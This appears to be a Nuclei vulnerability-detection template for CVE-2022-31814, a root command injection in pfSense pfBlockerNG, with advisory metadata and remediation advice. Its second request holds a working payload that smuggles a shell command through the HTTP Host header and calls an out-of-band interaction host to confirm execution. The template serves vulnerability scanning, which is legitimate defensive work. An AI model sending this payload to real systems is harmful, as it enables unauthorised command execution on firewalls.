60 lines
1.9 KiB
YAML
60 lines
1.9 KiB
YAML
id: CVE-2022-31814
|
|
|
|
info:
|
|
name: pfSense pfBlockerNG <=2.1..4_26 - OS Command Injection
|
|
author: EvergreenCartoons
|
|
severity: critical
|
|
description: |
|
|
pfSense pfBlockerNG through 2.1.4_26 is susceptible to OS command injection via root via shell metacharacters in the HTTP Host header. NOTE: 3.x is unaffected.
|
|
remediation: |
|
|
Upgrade to a patched version of pfSense pfBlockerNG (>=2.1..4_27) to mitigate this vulnerability.
|
|
reference:
|
|
- https://www.ihteam.net/advisory/pfblockerng-unauth-rce-vulnerability/
|
|
- https://docs.netgate.com/pfsense/en/latest/packages/pfblocker.html
|
|
- https://github.com/EvergreenCartoons/SenselessViolence
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-31814
|
|
- http://packetstormsecurity.com/files/171123/pfBlockerNG-2.1.4_26-Remote-Code-Execution.html
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2022-31814
|
|
cwe-id: CWE-78
|
|
epss-score: 0.96595
|
|
epss-percentile: 0.99493
|
|
cpe: cpe:2.3:a:netgate:pfblockerng:*:*:*:*:*:pfsense:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 2
|
|
vendor: netgate
|
|
product: pfblockerng
|
|
framework: pfsense
|
|
tags: packetstorm,cve,cve2022,pfsense,pfblockerng,rce,oast
|
|
|
|
http:
|
|
- raw:
|
|
- |+
|
|
GET /pfblockerng/www/index.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Accept: */*
|
|
|
|
- |+
|
|
GET /pfblockerng/www/index.php HTTP/1.1
|
|
Host: ' *; host {{interactsh-url}}; '
|
|
Accept: */*
|
|
|
|
unsafe: true
|
|
req-condition: true
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'contains(body_1, "GIF")'
|
|
|
|
- type: word
|
|
part: interactsh_protocol # Confirms the DNS Interaction
|
|
words:
|
|
- "dns"
|
|
|
|
# digest: 490a0046304402206c2d43438dd632a9b18b9b5b2bd9a2ea90aa5c3c73b86999cf34d8b7f3cd12d702204045c273a712f44c8d8b9f68efef376df3f7937e16bec87af66500dd6ee8e14b:922c64590222798bb761d5b6d8e72950
|